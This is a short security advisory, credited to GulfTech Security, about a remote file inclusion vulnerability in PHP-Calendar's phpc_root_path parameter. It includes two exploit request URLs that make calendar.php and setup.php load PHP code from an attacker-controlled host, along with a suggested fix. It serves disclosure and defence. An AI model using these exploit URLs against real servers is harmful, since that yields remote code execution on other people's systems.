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PHP-Calendar File Inclusion Vulnerability (phpc_root_path)
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SUMMARY
<http://php-calendar.sourceforge.net/> PHP-Calendar is "a PHP based
calendaring program". Due to insufficient filtering of user provided data
by PHP-Calendar, a remote attacker can cause the program to include
arbitrary PHP files (external to the web site) and execute the code found
in them.
DETAILS
Exploit:
http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php
http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php
If PHP globals are set to on then it is highly probable that an attacker
will be able to include arbitrary php files and thus execute system
commands with the rights of the web server.
Solution:
PHP-Calendar has a defined constant to help prevent against stuff like
this. It can be seen in other php-calendar files such as db.php
if ( !defined('IN_PHPC') ) {
die("Hacking attempt");
}
Adding the following to the top of the affected pages should suffice in
preventing the kinds of attacks previously mentioned in this advisory.
ADDITIONAL INFORMATION
The information has been provided by <mailto:security@gulftech.org>
GulfTech Security.
The original article can be found at:
<http://www.gulftech.org/?node=research&article_id=00060-12292004>
http://www.gulftech.org/?node=research&article_id=00060-12292004
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